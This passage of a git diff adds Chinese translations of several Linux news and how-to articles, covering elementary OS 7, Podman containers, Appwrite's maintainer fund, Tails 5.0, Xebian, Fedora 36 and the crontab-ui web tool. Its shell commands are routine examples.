**笔记本电脑的电源配置文件选项**。预计电源配置文件将遵循传统的“平衡Balanced”、“性能Performance”和“节能Power Saver”选项,就像其他 Linux 发行版一样。 + +此外,一个 **新的漂亮的音乐应用程序** 将在这个版本中首次亮相,它重新设计了一些图标,在桌面上的视觉效果也有提升。一些原生的应用商店中的软件已经使用了 GTK4 技术,在 Elementory OS 7 中,它们将会给用户带来流畅的性能体验。 + +#### 新的升级工具 + +但这还不是全部。团队还兴奋地宣布,一个 elementary **版本升级工具** 的可用原型已经准备就绪,目前正在测试。因此,在 elementary OS 7 发布后,它将正式亮相,以帮助用户实现从 elementary OS 6 到 7 的迁移。 + +目前,elementary OS 的版本升级是最大的挑战,因为它没有任何官方的升级途径。“版本升级工具” 是一个令人兴奋的消息,它将吸引更多的用户使用这个漂亮的 Linux 发行版。 + +不过,Wayland 迁移仍在计划之中,还没有被优先考虑。当 Wayland 被完整支持后,elementary OS 用户将会获得令人兴奋的体验。 + +### 发布日期? + +对于任何一个 elementary OS 发行版,用户最关心的问题都是发布日期。嗯,发布日期还没有最终确定。elementary OS 7 “Horus” 将在准备好后发布。我乐观的猜测是在今年年底,在 Ubuntu 22.04 的第一个点发布(预计在 2022 年 7 月)之后。 + +最后,请阅读 elementary OS 7 [官方公告][4],了解更多关于这个版本的信息,以及 elementary OS 6 “Odin”(6.1 版本)的许多更新。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/05/elementary-os-7-announcement/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2021/08/elementary-OS-6-ODIN-Desktop-1024x576.jpeg +[2]: https://www.debugpoint.com/2022/01/ubuntu-22-04-lts/ +[3]: https://www.debugpoint.com/2021/11/linux-kernel-5-15/ +[4]: https://blog.elementary.io/updates-for-april-2022/ diff --git a/published/202205/20220505 Experiment with containers and pods on your own computer.md b/published/202205/20220505 Experiment with containers and pods on your own computer.md new file mode 100644 index 0000000000..f7d6c78725 --- /dev/null +++ b/published/202205/20220505 Experiment with containers and pods on your own computer.md @@ -0,0 +1,87 @@ +[#]: subject: "Experiment with containers and pods on your own computer" +[#]: via: "https://opensource.com/article/22/5/containers-pods-101-ebook" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14591-1.html" + +在自己的电脑上实验容器和荚 +====== + +> 通过这篇新的可下载指南开始探索容器技术的要领。 + +![](https://img.linux.net.cn/data/attachment/album/202205/14/102808n8u3pkff174431v7.jpg) + +在电视剧 《太空堡垒卡拉狄加Battlestar Galactica》中,这艘名副其实的巨型飞船其实并没有做什么。它是船员们坚定的庇护所,是战略和协调的中心联络点,也是资源管理的安全场所。而 卡布里安毒蛇号Caprican Vipers 这种单人的独立太空船,出去对付邪恶的赛昂人Cylons和其他太空中的危险。他们也从不只派一两艘毒蛇号出去。他们派了很多。这许许多多的冗余的飞船具有基本相同的能力和目的,但由于它们非常灵活和数量众多,它们总是能够处理每个星期都在威胁战星的任何问题。 + +如果你认为你感到这像是一个正在发展中的比喻,那么你是对的。现代的“云”大而无当,是分布在很远距离的大量基础设施的集合体。它具有强大的能力,但如果你将其视为普通计算机,就会浪费了它的大部分能力。当你想要处理来自数百万个输入源的大量数据时,把你的解决方案(无论它是采用应用、网站、数据库、服务器还是其他形式)打包起来,并发送该解决方案的微小镜像来处理数据集群,实际上是更有效的。当然,这些都是 “容器container”,它们是云的劳动力。它们是你发送来处理服务请求的小型解决方案工厂,并且由于你可以根据任何给定时间传入的请求生成所需要的数量,因此理论上它们是取之不尽的。 + +### 在家里使用容器 + +如果你没有大量的传入请求需要处理,你可能会想知道容器给你带来什么好处。不过,在个人电脑上使用容器确实有其用途。 + +#### 容器作为虚拟环境 + +通过 Podman、LXC 和 Docker 等工具,你可以像以往运行虚拟机一样运行容器。不过,与虚拟机不同,容器没有因模拟固件和硬件而产生的开销。 + +你可以从公共仓库下载容器镜像,启动一个最小化的 Linux 环境,并将其作为命令或开发的测试场所。例如,假设你想试试你在 Slackware Linux 上构建的一个应用。首先,在仓库中搜索一个合适的镜像: + +``` +$ podman search slackware +``` + +然后选择一个镜像,作为你的容器的基础: + +``` +$ podman run -it --name slackware vbatts/slackware +sh-4.3# grep -i ^NAME\= /etc/os-release +NAME=Slackware +``` + +### 在工作中使用容器 + +当然,容器不只是个精简的虚拟机。它们可以是针对为非常具体的需求提供的特定解决方案。如果你不熟悉容器,那么新系统管理员最常见的入门仪式之一可能会有所帮助:启动你的第一个 Web 服务器,但是在容器中。 + +首先,获取一个镜像。你可以使用 `podman search` 命令来搜索你喜欢的发行版,或者直接搜索你喜欢的 httpd 服务器。当使用容器时,我倾向于信任我在裸机上使用的相同发行版。 + +当你你找到一个镜像作为你的容器的基础,你就可以运行你的镜像。然而,正如这个术语所暗示的,容器是*封起来的*,所以如果你只是启动一个容器,你将无法访问标准的 HTTP 端口。你可以使用 `-p` 选项将一个容器端口映射到一个标准的网络端口: + +``` +$ podman run -it -p 8080:80 docker.io/fedora/apache:latest +``` + +现在看看你本地主机上的 8080 端口: + +``` +$ curl localhost:8080 +Apache +``` + +成功了。 + +### 了解更多 + +容器拥有比模仿虚拟机更多的潜力。你可以将它们分组在 “pod” 中,构建复杂应用的自动部署,启动冗余服务以满足高需求等等。如果你刚刚开始使用容器,你可以 [下载我们最新的电子书][2] 来学习该技术,甚至学习创建一个 “pod”,以便你可以运行 WordPress 和数据库。 + +> **[下载我们最新的电子书][2]** + +(LCTT 译注:容器环境中使用的 “Pod” 一词,我以前根据容器相关术语多用航海领域名词比喻来将其译做“吊舱”,但也有同学表示了不同意见。根据 Kubernetes [文档][3],这个词来自对鲸鱼荚pod of whales豌豆荚pea pod的比喻,所以我觉得采用“荚”的翻译比较合适。—— wxy) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/5/containers-pods-101-ebook + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/tips_map_guide_ebook_help_troubleshooting_lightbulb_520.png +[2]: https://opensource.com/downloads/containers-pods-101-ebook +[3]: https://kubernetes.io/docs/concepts/workloads/pods/#:~:text=A%20Pod%20\(as%20in%20a,run%20in%20a%20shared%20context. \ No newline at end of file diff --git a/published/202205/20220505 Open Source Developer Creates First-of-its-Kind Fund To Support Maintainers.md b/published/202205/20220505 Open Source Developer Creates First-of-its-Kind Fund To Support Maintainers.md new file mode 100644 index 0000000000..8b3ca8c3bb --- /dev/null +++ b/published/202205/20220505 Open Source Developer Creates First-of-its-Kind Fund To Support Maintainers.md @@ -0,0 +1,41 @@ +[#]: subject: "Open Source Developer Creates First-of-its-Kind Fund To Support Maintainers" +[#]: via: "https://www.opensourceforu.com/2022/05/open-source-developer-creates-first-of-its-kind-fund-to-support-maintainers/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14575-1.html" + +开源开发者创建首个支持维护者的基金 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/11/091909u7kjzkp3tsf7p74s.jpg) + +Appwrite 是一个为 Web、移动和 flutter 开发者提供的开源“后端即服务Backend-as-a-Service”(BaaS)平台。今天,它宣布成立开源软件基金Open Source Software Fund(OSS 基金),第一年该基金将向那些为当下数字基础设施奠定基础,却没有得到补偿的开源维护者,提供 5 万美元的资助。 + +Appwrite 每年的开源基金将用于协助开源开发者、促进技术革新,并为各种开源开发方案打造知名度。每年,它都会对基金数额进行审查,以确保其继续满足社区的需求。目前已经开始接受申请,并且每年都会接受申请。受资助者将由 Appwrite 开发者关系团队选出。了解更多:[https://appwrite.io/oss-fund][2]。 + +创始人兼 CEO Eldad Fux 说:“我懂这种感受,你在电脑前花费大量时间,把血汗和泪水投入到热爱的事物中,而且这些事物还在使全世界成千上万甚至数百万人受益。我一直就有这个想法:借用 Appwrite 的一些成功经验和投资,来支持其他像我一样的开发者和维护者,以回馈的方式来展望未来。希望我们的贡献能够带来改变。” + +在今天的技术环境中,最紧迫的挑战之一就是开源开发者和维护者的长期生存能力。尽管开源软件占比已经达到 70% 到 90%,是当下数字文明的基础,但许多最重要项目的开发者和维护者仍然没有获得足够报酬,或者根本没有报酬。关于如何帮助这些人,业界已经有了许多讨论,并提出了一系列的解决方案。Appwrite 正在为维护者做一些事,提升他们的工作,并提供经济支持,以换取他们对行业和数字社会的贡献。 + +Eldad Fux 自身通过为开源软件项目做贡献和参与开源社区,开始了他的开发者生涯。Appwrite 最初是一个副业项目,他把它作为一个 BaaS 产品从头打造。目前,Fux 通过专注于完全开源的平台和以各种方式回馈社区来支持开源理念,其中就包括了 Appwrite OSS 基金。 + +EddieHub 的创始人和开发者 Eddie Jaoude 说:“开源为世界上大部分的现代基础设施提供动力,从移动到网络、汽车甚至是地球以外的任务。只有靠社区的慷慨解囊,他们的时间和努力才能持续。如果有更多的公司和组织的支持,这种情况将得到改善,避免社区成员因报酬不足/没有报酬而懈怠。” + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/05/open-source-developer-creates-first-of-its-kind-fund-to-support-maintainers/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/04/opensourceBETTERimage-696x392.jpg +[2]: https://appwrite.io/oss-fund diff --git a/published/202205/20220505 Tails 5.0 Release is Based on Debian 11 With a New -Kleopatra- Tool.md b/published/202205/20220505 Tails 5.0 Release is Based on Debian 11 With a New -Kleopatra- Tool.md new file mode 100644 index 0000000000..5fdb752316 --- /dev/null +++ b/published/202205/20220505 Tails 5.0 Release is Based on Debian 11 With a New -Kleopatra- Tool.md @@ -0,0 +1,97 @@ +[#]: subject: "Tails 5.0 Release is Based on Debian 11 With a New “Kleopatra” Tool" +[#]: via: "https://news.itsfoss.com/tails-5-0-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14568-1.html" + +Tails 5.0 发布:基于 Debian 11,附带新的 Kleopatra 工具 +====== + +> Tails 5.0 是一次令人印象深刻的升级,采用了 Debian 11 和一个新的工具,为用户配备了增强的安全和隐私。 + +![](https://news.itsfoss.com/wp-content/uploads/2022/05/tail-5-0-release.jpg) + +Tails 是一个流行的 Linux 发行版,它专注于保护人们免受审查和监视,是 [注重隐私的 Linux 发行版][1] 之一。 + +你可以在任何地方使用它和 U 盘 来完成工作,而不用担心暴露你的信息。 + +Tails 5.0 是最新的版本,它基于 Debian 11(Bullseye)构建。因此,你可以期待 Tails 5.0 中具备所有 [Debian 11 的改进][2]。 + +### Tails 5.0:更新内容 + +让我们来看看该版本所引入了哪些新功能和软件升级吧! + +以下是其中的一些亮点。 + +#### 增加了 Kleopatra 工具 + +![][3] + +Kleopatra 是 [GnuPG][4] 的一个图形界面,它用于加密文本和文件。在 Tails 5.0 中,Kleopatra 取代了 OpenPGP 小程序 和 Seahorse 工具。 + +Kleopatra 只在一个软件包中就完成了这一切。并且,相对而言,Kleopatra 的维护更加活跃,问题最少。 + +#### 默认启用的附加软件 + +当使用持久化存储时,附加软件功能是默认启用的。 + +因此,你可以在短时间内快速配置你想要的东西。 + +#### 对活动概览的改进 + +![][5] + +在 Tails 5.0 中,你可以使用活动概览来访问你的窗口和应用程序。你只需点击屏幕左上角的“活动Activities”按钮或按下键盘上的超级Super键(LCTT 译注:在某些键盘上是 WIN 键)即可。 + +你还可以在同一屏幕中搜索应用程序、文件和文件夹。 + +#### 软件升级 + +Tails 5.0 基于 Debian 11,因此,所有的基本软件都已升级,包括: + + * Tor 浏览器 to 11.0.11 + * GNOME 3.38 + * MAT to 0.12 + * Audacity 2.4.2 + * 磁盘工具 3.38 + * GIMP 2.10.12 + * LibreOffice 7.0 + +#### 其他改进 + +除软件升级外,无驱动打印和扫描的硬件支持也得到了更新,以支持新款的打印机/扫描仪。 + +除此之外,它还有许多修复。你可以在其 [官方发布公告][6] 中查看更多信息。 + +### 下载 Tails 5.0 + +你可以在官方网站下载最新的 Tails 5.0 ISO。 + +> **[Tails 5.0][7]** + +注意,如果你已经在使用 Tails,请不要执行自动升级。你需要按照 [官方说明][8] 进行手动升级。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/tails-5-0-release/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/privacy-focused-linux-distributions/ +[2]: https://news.itsfoss.com/debian-11-feature/ +[3]: https://news.itsfoss.com/wp-content/uploads/2022/05/kleopatra.png +[4]: https://www.gnupg.org/ +[5]: https://news.itsfoss.com/wp-content/uploads/2022/05/desktop-tails-5.png +[6]: https://tails.boum.org/news/version_5.0/index.en.html +[7]: https://tails.boum.org/install/index.en.html +[8]: https://tails.boum.org/doc/upgrade/index.en.html#manual diff --git a/published/202205/20220505 Xebian – A Blend of Debian and Goodness of Xfce [Review].md b/published/202205/20220505 Xebian – A Blend of Debian and Goodness of Xfce [Review].md new file mode 100644 index 0000000000..ab7f56e1a4 --- /dev/null +++ b/published/202205/20220505 Xebian – A Blend of Debian and Goodness of Xfce [Review].md @@ -0,0 +1,100 @@ +[#]: subject: "Xebian – A Blend of Debian and Goodness of Xfce [Review]" +[#]: via: "https://www.debugpoint.com/2022/05/xebian-review-2022/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14602-1.html" + +Xebian:Debian 与 Xfce 的完美结合 +====== + +> 这是一篇对漂亮而时尚的 Xebian Linux 发行版的快速评测。 + +Xebian 是一个基于 Xfce 桌面环境的 Linux 发行版,基于 Debian 不稳定分支(sid)。这个 Linux 发行版提供了一个带有基本的 Xfce 桌面的 Debian,而无需更改配置和附加软件包。因此,你不用在安装 Debian 和 Xfce 上花费太多时间就可以获得通常的开箱即用体验。 + +那么,如果你想尝试一下,这是对 Xebian 的快速评测。 + +![](https://www.debugpoint.com/wp-content/uploads/2022/05/Xebian-Desktop-with-Xfce.jpg) + +### Xebian 评测 + +#### 安装 + +考虑到林林总总的 ISO(迷你、自由、非自由等等),Debian 安装可能会有点复杂。毕竟,它是一个真正的“通用操作系统”。但是对于 Xebian,就轻松多了,因为它只有一个提供了 Debian sid 和 Xfce 的 64 位 ISO 文件。Xebian 使用 Debian 原生的安装程序,在你的物理系统或虚拟机中安装此发行版都相当简单。 + +在我的测试过程中,安装很顺利,没有报告任何问题。安装大约需要 4 分钟。 + +#### 外观和感觉 + +安装后,当你首次启动系统时,你会看到带有 Xebian 默认壁纸的漂亮登录页面。这个登录屏幕是标准的默认 Xfce 桌面登录页面。 + +![Xebian Logn Screen][1] + +首先,该桌面非常轻量,有着 Xfce 的干净外观。Xebian 就是一个在 Debian 上提供了完整 Xfce 桌面的 Linux 发行版。因此,唯一的区别是看起来不错的默认壁纸,以及默认的 Numix 主题(深色)。那些喜欢更传统外观的人也可以使用 Adwaita 和 Gerybird 主题。 + +其次,顶部面板右侧有 “鼠须菜单Whisker Menu” 和标准的系统托盘,带有音量控制、电池指示、网络/Wi-Fi 和日期/时间。 + +#### 应用 + +Xebian 打包了所有 Xfce 原生应用,而没有添加任何额外内容。安装了它,你就应该拥有了一个稳定的工作桌面,并预装了以下应用程序: + +* Thunar 文件管理器 +* Ristretto 图像查看器 +* Mousepad 文本编辑器 +* Catfish 文件搜索 +* XFCE 终端 +* Firefox 浏览器 +* Synaptic 包管理器 +* GParted 分区程序 +* 系统设置 + +除此之外,如果你需要任何其他应用,你可以使用 “新立得Synaptic” 包管理器轻松安装它们。使用内置的 “软件及软件源Software and Sources” 应用可以轻松调整软件源。 + +[Xfce 4.16][2] 是当前的稳定正式版本,并一同提供了其原生应用。而 Xfce 4.18 距离最终版本还很遥远。 + +该发行版的核心基于 Debian 不稳定分支 “sid”,在撰写本文时它正处于 Debian 12 “bookworm” 的发布路径上。它基于最新的 [Linux 内核 5.17][3] 进行滚动发布。 + +此外,如果你需要一个常规的图像编辑器、图形软件和办公套件(例如 LibreOffice),那么你可以手动安装它们。它们不是 ISO 文件的一部分。 + +现在,让我们来看看性能。 + +#### Xebian 的性能 + +Xebian 是轻量级的,非常适合旧硬件,这要归功于 Debian。我分两个阶段测试了其性能。 + +在让系统闲置一段时间后的理想阶段,消耗了大约 710 MB 内存,而 CPU 平均为 2%。大多数空闲状态资源被 Xfce4-desktop 和 Xfce 窗口管理器消耗。 + +其次,我在重度使用阶段对其进行了测试。我使用文件管理器、文本编辑器、终端和 Firefox 浏览器的一个实例作为工作负载尝试了 Xebian。在此工作负载下,Xebian 平均消耗 1.2GB 内存和 2% 到 3% 的 CPU,具体取决于各自的应用活动。而且,Firefox 明显消耗了大部分内存和 CPU,其次是 Xfce 窗口管理器的内存消耗增加了近 50%。 + +总的来说,我认为它是稳定的,应该可以在至少 4 GB 内存的中档硬件中正常工作。 + +### 结束语 + +基于 Debian 不稳定分支的 [Linux 发行版][4] 很少。如果你正在寻找 Xfce 和 Debian sid 的特定组合,那么 Xebian 是合适的,因为你从 Debian 获得了一个很可靠的滚动版本,并内置了 Xfce。 + +虽然它说是“不稳定”的,但根据我的经验,如果你每周保持系统更新,Debian “不稳定” 分支会很好地工作。 + +最后,如果你想尝试此发行版,请访问官方网站并 + +> **[下载 ISO 文件][5]** + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/05/xebian-review-2022/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/05/Xebian-Logn-Screen-1024x578.jpg +[2]: https://www.debugpoint.com/2021/02/xfce-4-16-review/ +[3]: https://www.debugpoint.com/2022/03/linux-kernel-5-17/ +[4]: https://www.debugpoint.com/category/distributions +[5]: https://xebian.org/download/ diff --git a/published/202205/20220506 Announcing Fedora Linux 36.md b/published/202205/20220506 Announcing Fedora Linux 36.md new file mode 100644 index 0000000000..d0398b31ed --- /dev/null +++ b/published/202205/20220506 Announcing Fedora Linux 36.md @@ -0,0 +1,88 @@ +[#]: subject: "Announcing Fedora Linux 36" +[#]: via: "https://fedoramagazine.org/announcing-fedora-36/" +[#]: author: "Matthew Miller https://fedoramagazine.org/author/mattdm/" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14579-1.html" + +Fedora Linux 36 发布 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/11/162224g07rzfbbniwbrgbn.jpg) + +今天,我很高兴与大家分享一个消息,它是成千上万的 Fedora 项目贡献者辛勤工作的成果:我们的最新版本 —— Fedora Linux 36,和大家见面了! + +### 由社区开发,为社区服务 + +通常当我写这些公告时,我会谈论版本中的一些很棒的技术变化。但这一次,我想把重点放在实现这些变化的社区上。Fedora 社区不是一群孤立地工作的人 —— 我们是朋友。事实上,这也是我们的“四个理念Four Foundations”之一。 + +我们最新的“Fedora 朋友”之一,Juan Carlos Araujo 在一篇 [Fedora 讨论帖子][2] 中说得很好: + +> 除了功能、稳定性、特性、工作方式以及前沿性外,我认为决定一个发行版成败的还有那些无形的东西,比如文档和社区。而 Fedora 拥有这一切……尤其是无形的东西。 + +多年来,我们一直努力使 Fedora 成为一个包容和欢迎的社区。我们希望它成为经验丰富的贡献者和新手能一起工作的地方。就像我们希望 Fedora Linux 是一个既能吸引资深用户又能吸引新手的发行版一样。 + +说到 Fedora Linux,让我们看看新版本的一些亮点。像往常一样,在从旧版本升级之前,请确保你的系统是最新的。这次尤其需要注意,因为我们在 F34/F35 更新中修复了一些非常重要的与升级有关的错误。如果不先应用这些更新,系统升级可能会失败。 + +### 桌面改进 + +Fedora 工作站专注于桌面体验,尤其是面向那些希望获得“刚刚好”的 Linux 系统体验的用户。像往常一样,Fedora 工作站采用最新的 GNOME 版本:[GNOME 42][3]。虽然 GNOME 42 不能完全解决生命、宇宙和一切问题,但它带来了很多改进。许多应用程序都被移植到了 GTK 4,以改善风格和性能。它还附带了两个新的应用程序:文本编辑器Text Editor控制台Console。它们的名字起得很贴切,所以你可以猜出它们是干什么的。文本编辑器是新的默认文本编辑器,而控制台可以在软件仓库中下载。 + +如果你使用了英伟达的专有图形驱动,你的桌面会话现在将默认使用 Wayland 协议。这使你能够在使用现代桌面管理器时,充分利用硬件加速。 + +当然,我们生产的不仅仅是 “Editions”。[Fedora Spins][4] 和 [Labs][5] 针对不同的受众和使用场景。例如 [Fedora Comp Neuro][6] ,它为计算神经科学提供工具,以及 [Fedora LXQt][7],它提供一个轻量级的桌面环境。并且,我们附加了可选架构:[ARM AArch64、Power 和 S390x][8]。 + +### 针对系统管理员的改进 + +Fedora Linux 36 包含最新的 Ansible 版本。Ansible 5 将“引擎”拆分为 ansible-core 包和 [collection 包][9]。这使得维护更容易,并允许你只下载需要的集合。请参阅 [Ansible 5 迁移指南][10] 以了解如何更新你的 Playbook。 + +从 Fedora Server 36 开始,Cockpit 提供了一个用于配置和持续管理 NFS 及 Samba 共享的模块。这使得管理员可以通过 Cockpit 网页界面(用于配置其他服务器属性)来管理网络文件共享。 + +### 其他更新 + +无论你使用 Fedora Linux 的哪个衍生版,你都会得到开源世界所提供的最新成果。Podman 4.0 将在 Fedora Linux 36 中首次全面发布。它带来了大量变化和一个全新的网络栈。不过,它也带来了向下**不兼容**的 API 变化,所以请仔细阅读 [上游文档][11]。 + +遵循 Fedora 的 “[争先][12]First” 理念,我们已经更新了关键的编程语言和系统库包,包括 Ruby 3.1、Golang 1.18 和 PHP 8.1。  + +我们很高兴你能试用新版本!请访问 [https://getfedora.org](https://getfedora.org) 并立即下载它吧!或者,如果你正在使用 Fedora Linux,请按照我们的 [简易升级说明][13] 进行。想了解更多关于 Fedora Linux 36 新功能的信息,请查看 [发行说明][14]。 + +### 虽然不大可能会出现问题…… + +但是,如果你真的遇到了问题,请访问我们的 [Ask Fedora][15] 用户支持论坛。这里有一个 [常见问题][16] 的分类。 + +### 谢谢大家 + +感谢在本次发布周期内为 Fedora 项目做出贡献的成千上万的人。Fedora 社区有你们,真好!请务必在 5 月 13 日至 14 日参加我们的 [虚拟发布派对][17]! + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/announcing-fedora-36/ + +作者:[Matthew Miller][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/mattdm/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramagazine.org/wp-content/uploads/2022/05/f36-final-816x345.jpg +[2]: https://discussion.fedoraproject.org/t/the-end-of-my-distro-hopping-days/38445 +[3]: https://release.gnome.org/42/ +[4]: https://spins.fedoraproject.org/ +[5]: https://labs.fedoraproject.org/ +[6]: https://labs.fedoraproject.org/en/comp-neuro/ +[7]: https://spins.fedoraproject.org/en/lxqt/ +[8]: https://alt.fedoraproject.org/alt/ +[9]: https://koji.fedoraproject.org/koji/search?match=glob&type=package&terms=ansible-collection* +[10]: https://docs.ansible.com/ansible/devel/porting_guides/porting_guide_5.html +[11]: https://podman.io/releases/2022/02/22/podman-release-v4.0.0.html +[12]: https://docs.fedoraproject.org/en-US/project/#_first +[13]: https://docs.fedoraproject.org/en-US/quick-docs/upgrading/ +[14]: https://docs.fedoraproject.org/en-US/fedora/f36/release-notes/ +[15]: https://ask.fedoraproject.org/ +[16]: https://ask.fedoraproject.org/tags/c/common-issues/141/f36 +[17]: https://hopin.com/events/fedora-linux-36-release-party/registration diff --git a/published/202205/20220506 My favorite open source tool for using crontab.md b/published/202205/20220506 My favorite open source tool for using crontab.md new file mode 100644 index 0000000000..ee2a4c4481 --- /dev/null +++ b/published/202205/20220506 My favorite open source tool for using crontab.md @@ -0,0 +1,78 @@ +[#]: subject: "My favorite open source tool for using crontab" +[#]: via: "https://opensource.com/article/22/5/cron-crontab-ui" +[#]: author: "Kevin Sonney https://opensource.com/users/ksonney" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14598-1.html" + +管理 crontab 的开源工具 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/16/100309tw6wgx3sss36wl6r.jpg) + +> crontab-ui 是一个用 Node.js 编写的 Web 前端,帮助管理 crontab 文件。 + +*自动化是目前的一个热门话题。在我作为网站可靠性工程师(SRE)的日常工作中,我的部分职责是将尽可能多的重复性任务自动化。但是,有多少人在我们的日常非工作生活中这样做呢?今年,我专注于将劳作自动化,以便我们可以专注于重要的事情。* + +作为一个初出茅庐的系统管理员,我最早了解的东西之一是 “cron”。cron 被广泛用于做一些事情,如轮换日志、启动和停止服务、运行程序作业等等。它在几乎所有的 Unix 和 Linux 系统中都可用,而且是我认识的每个系统管理员用来帮助管理服务和服务器的东西。cron 可以自动运行任何控制台应用或脚本,这使得它非常、非常灵活。 + +> LCTT 译注:CRON 是 “Command Run On” 的缩写,即在某个时间运行命令。 + +![Image of a Crontab][3] + +我用 cron 来获取电子邮件,运行过滤程序,确保服务正在运行,与 Habitica 等在线游戏互动等。 + +### 以传统方式使用 cron + +要开始使用 cron,你可以简单地在命令行输入 `crontab -e`,启动一个打开了当前 `crontab`(“cron table” 的缩写)文件的编辑器(如果你以 root 身份这样做,你访问的是系统 crontab)。这是保存作业计划的地方,记录了何时运行。David Both 已经写了 [大量][4] 关于该文件的格式和如何使用它的文章,所以我不打算在这里介绍。我要说的是,对于新用户来说,这可能有点吓人,而且设置时间有点痛苦。 + +### 介绍 crontab-ui + +有一些奇妙的工具可以帮助解决这个问题。我最喜欢的是 [crontab-ui][5],这是一个用 Node.js 编写的 Web 前端,可以帮助管理 crontab 文件。为了安装和启动 `crontab-ui` 供个人使用,我使用了以下命令。 + +``` +# 做个备份 +crontab -l > $HOME/crontab-backup +# 安装 Crontab UI +npm install -g crontab-ui +# 创建本地数据库目录 +mkdir $HOME/crontab-ui +# 启动 crontab-ui +CRON_DB_PATH=$HOME/crontab-ui crontab-ui +``` + +完成这些后,只需将你的网页浏览器指向 `http://localhost:8000`,你就会看到 crontab-ui 的网页界面。要做的第一件事是点击 “从 Crontab 获取Get from Crontab”,加载你可能有的任何现有作业。然后点击“备份Backup”,这样你就可以回滚你所做的任何修改。 + +![Image of Crontab-UI][6] + +添加和编辑 cron 作业是非常简单的。添加一个名称,你想运行的完整命令,以及时间(使用 cron 语法),然后保存。另外,你还可以捕获日志,并设置将工作状态邮寄到你选择的电子邮箱。 + +完成后,点击 “保存到 CrontabSave to Crontab”。 + +我个人非常喜欢它的日志记录功能。有了 crontab-ui,你可以通过点击一个按钮来查看日志,这在排除故障时非常有用。 + +我建议不要一直运行 crontab-ui,至少不要公开运行。虽然它确实具有一些基本的身份验证功能,但它不应该暴露在你的本地机器之外。我不需要经常编辑我的 cron 作业,所以我可以按需启动和停止它。 + +下次你需要编辑你的 crontab 时,可以试试 crontab-ui! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/5/cron-crontab-ui + +作者:[Kevin Sonney][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ksonney +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/lenovo-thinkpad-laptop-concentration-focus-windows-office.png +[2]: https://creativecommons.org/licenses/by/3.0/us/ +[3]: https://opensource.com/sites/default/files/2022-04/Day01-1.png +[4]: https://opensource.com/article/17/11/how-use-cron-linux +[5]: https://opensource.com/%5Bhttps%3A//github.com/alseambusher/crontab-ui%5D%28https%3A//github.com/alseambusher/crontab-ui%29 +[6]: https://opensource.com/sites/default/files/2022-04/Day01-2.png diff --git a/published/202205/20220506 Ubuntu MATE’s Lead Creates a Nifty 